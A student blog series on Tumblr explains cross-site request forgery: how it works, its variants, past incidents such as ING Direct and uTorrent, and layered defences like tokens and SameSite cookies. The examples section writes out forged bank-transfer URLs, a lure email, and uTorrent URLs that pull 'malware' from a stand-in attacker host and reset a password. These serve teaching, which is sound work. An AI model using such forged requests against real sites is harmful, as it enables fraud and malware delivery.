R. K. IW @cross-site-request-forgery - Tumblr Blog

Why did I choose Tumblr?

I tested out three blogging tools: Weebly, WordPress, and Tumblr, and yet, I chose to stick with Tumblr for this project.

Weebly is ideal when you need a simple site with a blog and basic eCommerce and prefer an intuitive drag‑and‑drop builder that minimizes setup and maintenance.

WordPress is the right choice for full control, advanced SEO, deep extensibility, and serious monetization options at the cost of a steeper learning curve and ongoing hosting and plugin maintenance.

Yet, both of them seemed not only too similar to one another and “high-maintenance” for me, but also seemed like too much work for a simple blog.

So, how come Tumblr seemed a better pick?

Besides its simplicity in writing, editing, and publishing blogs, Tumblr doesn’t need a lot of knowledge or even setup to start writing your own personal blog on any topic (even plugins don’t need to be used to keep your posts interesting!). By using different communities and their tags, the posts are also open to the various communities and can be easily reached by discovery via the tags on the posts; that makes it easier to put your posts on a specific topic, without needing any monetization or paid advertising.

One of the other advantages that I noticed is that the posts are not only fast when publishing, but Tumblr also lets you post images, videos, GIFs, quotes, and links in seconds without any design necessary; the way you put them in the text - that’s the way that they’ll appear in your blog post.

Overall, Tumblr “won over my heart” just by being simple and not requiring the user any over-the-top knowledge, just to get their posts and points across on their personal blog, having zero hosting maintenance, and their design and theme choices are very simple to choose from, to manage, and even better, most of them are completely free.

What is CSRF?

CSRF stands for Cross-Site Request Forgery

So, what is it exactly?

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state-changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

Sources:

Cross Site Request Forgery (CSRF) on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the se

#cybersecurity #engineering #cross site request forgery

How does CSRF work?

CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim’s behalf (though note that this is not true of login CSRF, a special form of the attack described below). For most sites, browser requests automatically include any credentials associated with the site, such as the user’s session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the victim and a legitimate request sent by the victim.

What does the attacker do?

CSRF attacks target functionality that causes a state change on the server, such as changing the victim’s email address or password, or purchasing something. Forcing the victim to retrieve data doesn’t benefit an attacker because the attacker doesn’t receive the response, the victim does. As such, CSRF attacks target state-changing requests.

An attacker can use CSRF to obtain the victim’s private data via a special form of the attack, known as login CSRF. The attacker forces a non-authenticated user to log in to an account the attacker controls. If the victim does not realize this, they may add personal data—such as credit card information—to the account. The attacker can then log back into the account to view this data, along with the victim’s activity history on the web application.

It’s sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called “stored CSRF flaws”. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

How do most CSRF attacks happen?

Most CSRF attacks trick users into clicking a malicious link. The link is often delivered via emails and chat messages using social engineering techniques.

The link may include malicious JavaScript or HTML code, which contains a request. Once a user clicks on the link, the code requests a specific task. If the attack is successful, the browser executes the task, letting the attacker perform unauthorized actions using the user’s session.

Sources:

Cross Site Request Forgery (CSRF) on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the se

Discover the world’s biggest reported cross site request forgery (CSRF) attacks, understand attack anatomy and see a code walkthrough explai

#cybersecurity #engineering #cross site request forgery

What are the core operations of CSRF?

Prerequisites: the victim must have an active authenticated session with the target site (typically via cookies or other browser‑sent credentials) and must visit or load attacker‑controlled content while that session is valid.

Triggering a request: attacker content causes the victim’s browser to issue an HTTP request to the target site using standard browser mechanisms such as an auto‑submitting form, an image or script tag, a crafted link, or a programmatic fetch/XHR if allowed by CORS and same‑origin policies.

Server acceptance: the target site receives the request with the victim’s credentials and, if it cannot distinguish the forged request from a genuine user action, executes the state‑changing operation (for example changing a password, transferring funds, or modifying settings).

What are the common variations of CSRF?

Classic form/image GET or POST CSRF: attacker embeds a form, image, or link that issues a GET or POST to the target; the browser includes the victim’s cookies and the request is processed.

Login CSRF: attacker logs a victim into an attacker‑controlled account at the target site, then uses the authenticated context to cause harmful actions while the victim believes they’re logged into their own account.

AJAX/XHR/fetch CSRF attempts: modern single‑page apps use XHR/fetch; cross‑origin requests are constrained by CORS so pure AJAX CSRF is limited, but misconfigured CORS or endpoints that accept cross‑origin credentials can be abused.

State‑confusion or chained CSRF: attacker uses multiple sequential requests to change state then exploit that new state (for example enabling a weaker authentication path), increasing impact beyond a single action.

Cross‑site framing and clickjacking overlap: attackers sometimes combine CSRF triggers with UI‑redressing or hidden frames to induce user interaction and bypass simple protections.

Sources:

In a cross-site request forgery (CSRF) attack, an attacker tricks the user or the browser into making an HTTP request to the target site fro

CSRF, or cross-site request forgery, is a cyber attack that tricks users into executing unwanted actions. Learn how to protect your applicat

#cybersecurity #engineering #cross site request forgery

Were there any instances of CSRF in popular apps?

ING Direct - in 2008, ING Direct, the banking website of a Dutch-owned multinational banking group, had a CSRF vulnerability that allowed attackers to transfer money from users’ accounts, even though users were authenticated with SSL. The website did not have any protection against CSRF attacks, and the process of transferring funds was easy for attackers to see and replicate.

YouTube - in 2008, Princeton researchers discovered a CSRF vulnerability on YouTube, which allowed attackers to perform nearly all actions on behalf of any user—including adding videos to favorites, modify friend/family lists, send messages to a user’s contacts, and flagging inappropriate content. The vulnerability was immediately fixed.

McAfee - in 2014, Check Point researchers discovered a CSRF vulnerability in the User Management module of an enterprise security product, McAfee Network Security Manager. The attack allowed malicious users to modify other user accounts. The vulnerability was patched in version 8.1.7.3.

TikTok - in 2020, ByteDance received reports of a vulnerability that allowed attackers to send messages containing malware to Tiktok users. After deployment of the malware, the attackers could perform CSRF or cross-site scripting (XSS) attacks, causing other user accounts to submit requests on their behalf to the TikTok application. TikTok patched the vulnerability within three weeks.

What are some of the examples?

Example 1: Bank Transfer Using GET or POST

Consider a user who wants to transfer an amount of $5,000 to a family member via the web application of Acme Bank, which has a CSRF vulnerability. An attacker identifies this vulnerability and wants to intercept this transaction so that the funds are transferred to their bank account instead of to the intended recipient.

The attacker can construct two types of URLs to perform the illicit funds transfer, depending on whether the application was designed using GET or POST requests.

Forged GET request

The original request would look like something like this, transferring the amount to account #344344:

GET http://acmebank.com/fundtransferacct=344344&amount=5000 HTTP/1.1

The attacker’s forged request might look like this. The attacker changes the account number to their own account (#224224 in this example) and increases the transfer amount to $50,000:

http://acmebank.com/fundtransfer?acct=224224&amount=50000

Now the attacker needs to trick the victim into visiting this forged URL while signed into the banking application. The attacker might draft an email like this:

To: Victim Subject: A gift of flowers for you! Hello victim, We know your birthday is coming up and have a special gift for you. Just click here to receive it!

The link “click here” would lead to the forged URL shown above.

Alternatively, the attacker could display a pixel within the email that fires and activates the URL if the victim enables viewing images in their email client. This is more dangerous because it requires no direct user action:

Forged POST request

If the banking application uses POST requests, the user’s original operation would look like this:

POST http://acmebank.com/fundtransfer HTTP/1.1

acct=344344&amount=5000

In this case, the attacker would need to craft a <form> element with the forged request:

When the user submits the form, believing they will receive a gift, the post request is executed and, if the user is currently signed into the application, the illicit transfer is carried out.

Example 2: Real-Life uTorrent Attack: Deploying Malware via Forged GET Request

The uTorrent vulnerability discovered in 2009 (CVE-2008-6586) was a real-life, large-scale CSRF attack. The uTorrent software had a vulnerability that allowed its web console to be accessible at localhost:8080, allowing attackers to perform sensitive actions with a simple GET request.

uTorrent built its web interface in such a way that GET requests enabled state-changing operations. According to the HTTP/1.1 standard (RFC 2616), GET and HEAD methods should never be state changing, and should only be used to allow clients to retrieve data.

Attackers discovered two exploitable URLs that could allow them to deploy malware to a victim’s device. This URL forced a torrent file download:

http://localhost:8080/gui/?action=add-url&s=http://attacker-site.com/malware

This URL changed the administrator password of the uTorrent software:

http://localhost:8080/gui/?action=setsetting&s=webui.password&v=newpassword

The attackers added HTML elements with automatic action triggered by JavaScript on multiple Internet forums, and also sent spam emails with these elements to a large distribution list. Anyone who had the uTorrent application while visiting the forum page or opening the email was hit by the attack. The attack enabled the attackers to deploy malware on a large number of client devices.

Sources:

Discover the world’s biggest reported cross site request forgery (CSRF) attacks, understand attack anatomy and see a code walkthrough explai

See simple Cross Site Request Forgery (CSRF) examples that will help you understand the attack - including actual code used in the real-life

#cybersecurity #engineering #cross site request forgery

How can I protect myself from CSRF?

There are 5 different ways in total on how you can protect yourself against CSRF. Below, I’ll break them down into 5 subchapters.

Defensive principles for CSRF mitigation

Use per-request, unpredictable tokens tied to the user session and validated on the server for all state‑changing requests; place tokens in request bodies or headers so attacker sites cannot read or forge them.

Enforce SameSite cookie attributes (Lax or Strict) to prevent browsers from sending cookies on many cross‑site requests, reducing the automatic credential propagation that CSRF depends on.

Validate the Origin and Referer request headers for sensitive operations and reject requests whose origin does not match the expected origin, using Origin when available because it is less privacy‑sensitive and more reliable for POSTs.

Require explicit, non‑cookie authentication for APIs (Bearer tokens, mutual TLS, or signed requests) and avoid relying solely on browser cookies for sensitive state changes.

Concrete techniques and how they operate

Anti‑CSRF tokens (synchronizer token pattern): server issues a cryptographically random token stored in the user session and embeds it in forms or returns it to same‑origin JavaScript; the server rejects requests missing or with mismatched tokens.

Double‑submit cookie: application sets a cookie value and requires the same value be sent in a request parameter or header; server checks both values match, preventing blind cross‑site requests because attacker pages cannot read the cookie value.

SameSite cookies: set SameSite=Lax or SameSite=Strict to stop cookies from being sent on most cross‑site navigations and third‑party requests, mitigating many common CSRF vectors without per‑request tokens.

Origin/Referer checks: reject cross‑origin requests for state‑changing endpoints by verifying the Origin header for CORS‑safe methods or the Referer header for other requests, falling back to token checks where headers are absent.

Architectural and API design controls

Design APIs to be stateless and require explicit tokens (e.g., OAuth bearer tokens, HMAC signatures) in headers for authorization rather than relying on cookies that browsers send automatically.

Use CORS correctly: disallow credentialed cross‑origin requests (Access‑Control-Allow‑Credentials) unless strictly necessary and ensure Access‑Control‑Allow‑Origin is not a wildcard when credentials are allowed.

Separate safe methods (GET, HEAD) from state‑changing operations (POST, PUT, DELETE) and avoid performing sensitive state changes in GET endpoints to reduce the risk surface for link‑ or image‑based attacks.

Complementary runtime and UX controls

Require re‑authentication or second factors for high‑risk actions (payments, account recovery) so a single forged request cannot complete a sensitive operation.

Introduce user confirmations, CAPTCHAs, or transaction signing for critical flows to provide additional intent binding beyond automated request checks.

Log and monitor anomalous request patterns and referer/origin mismatches to detect possible CSRF exploitation attempts and enable rapid response.

Implementation guidance and best practices

Apply defense‑in‑depth: combine SameSite cookies, anti‑CSRF tokens, and origin checks rather than relying on a single control.

Use framework‑provided, battle‑tested anti‑CSRF middleware where available and keep libraries up to date to avoid implementation pitfalls.

Treat cross‑origin requests cautiously in CORS settings, use short‑lived tokens for APIs, and require explicit developer consent before enabling credentialed cross‑site requests.

Sources:

Cross Site Request Forgery (CSRF) on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the se

In a cross-site request forgery (CSRF) attack, an attacker tricks the user or the browser into making an HTTP request to the target site fro

CSRF, or cross-site request forgery, is a cyber attack that tricks users into executing unwanted actions. Learn how to protect your applicat

Cross-site request forgery (CSRF) is a silent threat that exploits trusted sessions to trigger unauthorized actions. Learn how to detect, pr

#cybersecurity #engineering #cross site request forgery

Demonstration

The YouTuber and Principal Security Engineer at Amazon Web Services (AWS), Loi Liang Yang, created a video on what Cross-Site Request Forgery is and demonstrated a live video on it.

He starts the video by defining CSRF (Cross-Site Request Forgery) and explaining the core idea: that an attacker tricks an authenticated user into executing unwanted actions on a web application.

The author explains that because browsers send session cookies or other credentials automatically, a malicious request can appear valid to the server, enabling unwanted state changes.

A concrete example is shown: the attacker crafts a link or form that triggers a request to the target site while the user is authenticated. The video displays HTML form or image tag examples.

The author covers different types: simple GET/POST exploitation, login CSRF (attacker forces the victim to log in to an attacker‐controlled account), and stored CSRF (when malicious code is stored on the vulnerable site).

A live demo shows a vulnerable web application: the attacker crafts a hidden form or image tag; the user is tricked; a state change is observed (e.g., account change, transfer).

Lab demo

If you want to try out the simulation yourself, you can test yourself at this link below: https://tryhackme.com/room/csrfV2

#cybersecurity #engineering #cross site request forgery #Youtube

What are the main damages done by CSRF?

Breach and incident reports rarely attribute losses to a single vulnerability class; when CSRF contributes to an incident, it is usually reported alongside other vectors, so financial impacts in public disclosures are aggregated and not CSRF‑specific. Security practitioners, therefore, rely on qualitative signals (frequency of findings in audits and bounty reports) rather than centralized monetary statistics.

Representative qualitative comparison across recent years

2010–2016: CSRF was common in penetration tests and surveys; many apps lacked tokens or cookie controls.

2016–2019: Introduction and uptake of SameSite and framework defaults reduced trivial CSRF vectors and public ranking prominence.

2020–2025: Continued discovery of niche and bypass cases; research focuses on misconfigurations, API/CORS interactions, and SameSite exceptions rather than high‑volume CSRF incidents.

When was CSRF mostly used?

Though CSRF vulnerabilities existed as early as 2000, the term was first defined by Peter Watkins in 2001. The first well-known exploitation was the MySpace worm by Samy Kamkar in 2005 that combined XSS and CSRF to spread. In 2007 it entered the OWASP Top 10 at 5th place, which it maintained in 2010. In 2013, it dropped to 8th place, and finally in 2017 it disappeared from the Top 10 altogether due to an overall low incidence rate as well as many automated solutions built into modern web frameworks.

So, is it over?

However, CSRF has recently been in resurgence – according to NVD and CVE statistics, 2.69% of all newly-discovered vulnerabilities in 2018 were classified as CSRF, in the same ballpark as SQL injection (3.02%) and in 2019 the trend seems to continue with CSRF and SQL injection both accounting for around 3.1% of all vulnerabilities.

Are we safe from it?

While CSRF seems like a solved problem right now, a very similar attack has emerged with the advent of modern web applications: Clickjacking. Instead of sending a request to the victim page directly, the attacker puts the victim page into an iframe and positions it under the mouse cursor so that when the user clicks somewhere on the attacker page, the click is triggered on an arbitrary location of the victim page instead. The first clickjacking attack was documented by Robert Hansen and Jeremiah Grossman in 2008, and the technique was further refined in 2010 by Paul Stone as “Next-generation clickjacking”. This latter version makes use of drag-and-drop tricks to steal or inject data into the victim page in addition to hijacking a click.

All this shows Cthat SRF is a constantly evolving threat. While it may be absent from the OWASP Top 10 right now, being aware of it – as well as its more modern incarnations such as clickjacking – is essential if you want to protect your web applications!

Sources:

Cross-Site Request Forgery (CSRF): an old vulnerability that disappeared from the OWASP Top 10 in 2017. But is it really gone?

Learn how to identify and hunt for advanced Cross-Site Request Forgery (CSRF) vulnerabilities using several different testing methods. Read

#cybersecurity #engineering #cross site request forgery

Conclusions

Cross-Site Request Forgery remains a relevant but evolving web security threat. Although modern web frameworks and browsers have implemented strong built-in protections (such as SameSite cookies, automatic anti-CSRF token generation, and hardened CORS default) CSRF vulnerabilities continue to surface in applications, especially those relying on outdated configurations, custom authentication schemes, or legacy session designs.

The incidents involving ING Direct, YouTube, McAfee, TikTok, and uTorrent show that CSRF can cause severe financial, privacy, and reputational damage. Even though CSRF no longer appears in the latest OWASP Top 10, its disappearance shows improved default security, not a complete eradication of the attack. New attack variants show that the threat landscape continues to evolve.

CSRF persists wherever a server trusts browser-sent cookies for authentication without verifying user intent, making the underlying principle unchanged: any automatic, implicit trust in cross-origin requests can be exploited.

Suggestions and Guidelines

1. Adopt Defense-in-Depth (Layered Protection)

Anti-CSRF tokens

SameSite cookie attributes

Origin/Referer validation

Strict CORS configurations

Separation of safe vs. unsafe HTTP methods

Optional CAPTCHAs or re-authentication for critical operations

2. Use Anti-CSRF Tokens Correctly

Tie tokens to individual sessions

Generate cryptographically secure, unpredictable values

Embed tokens in request bodies or custom headers

Reject any request missing or containing invalid tokens

3. Enforce SameSite Cookie Policies

Set cookies as:

SameSite=Lax Secure HttpOnly

SameSite=Strict

for highly sensitive applications.

This prevents the browser from automatically sending session cookies on most cross-site navigations.

4. Validate Origin and Referer Headers

Servers should reject state-changing requests unless:

Origin header matches the expected domain

OR a valid anti-CSRF token is present

This adds strong request-origin verification, especially when tokens cannot be used.

5. Proper API and CORS Design

For APIs:

Avoid cookie-based authentication

Use explicit tokens (Bearer/HMAC/OAuth)

Set Access-Control-Allow-Origin carefully

Avoid Access-Control-Allow-Credentials: true unless absolutely required

Misconfigured CORS remains a major modern source of CSRF-like vulnerabilities.

6. Strengthen High-Risk Operations

Critical actions (payments, password reset, email changes) should require:

Re-authentication

Multi-factor authentication

Confirmations or transaction signing

Possible CAPTCHA or consent UI

This reduces the risk even if CSRF protections fail.

Current Trends

1. Decline of Classic CSRF, Rise of Misconfiguration-Based Attacks

Classic form-based CSRF is now less common because:

Browsers enforce SameSite by default

Frameworks ship with built-in CSRF middleware

Developers are more aware of the vulnerability

However, misconfigured CORS, weak session handling, and unsafe legacy APIs have created new ways for exploitation.

2. Increased Use of Token-Based Authentication

Modern applications (especially SPAs) increasingly rely on:

JWTs

OAuth tokens

Sessionless APIs

Local storage-based authentication (when properly secured)

This reduces traditional CSRF but introduces new security considerations.

3. Growth of Combined Attacks

Clickjacking, UI redressing, XSS, and CSRF often appear together. For example, clickjacking can be used to simulate user-initiated requests even when CSRF tokens exist.

4. Continued Vulnerabilities in Legacy & Enterprise Systems

CSRF vulnerabilities consistently appear in:

Older enterprise admin panels

IoT devices with web dashboards

Home routers

Internal corporate tools

Apps with custom authentication systems

These systems often lack modern browser protections.

Future Work

1. Stronger Intent Validation Mechanisms

Research continues on:

“User intent proofs”

Behavioral authentication

Transaction signing methods that bind actions to explicit user intent

This could prevent entire classes of CSRF and clickjacking attacks.

2. Browser-Native Request Authentication APIs

Future standards may include:

First-class APIs for secure state-changing requests

Automatic tagging of “protected endpoints”

Browser-level enforcement similar to SameSite

These would reduce the reliance on custom tokens.

3. Improved Security Education for Developers

Many CSRF issues arise due to:

Legacy frameworks

Incorrect CORS usage

Misunderstanding of SameSite cookie defaults

Modern web development education should emphasize secure-by-default session design.

4. Automated Misconfiguration Detection

Tools are being developed to automatically detect:

Tokenless state-changing endpoints

Unsafe cookie attributes

CORS misconfigurations

UI redressing vulnerabilities

As applications become more complex, automated scanners will play a growing role.

5. Security Testing in CI/CD Pipelines

Future development workflows are trending toward:

Continuous security scanning

Automated code review rules for CSRF protections

Mandatory tests for protected endpoints

This ensures protections are maintained across releases.

TLDR

#cybersecurity #web development #cross site request forgery

Trending Blogs

Recently Viewed Blogs

R. K. IW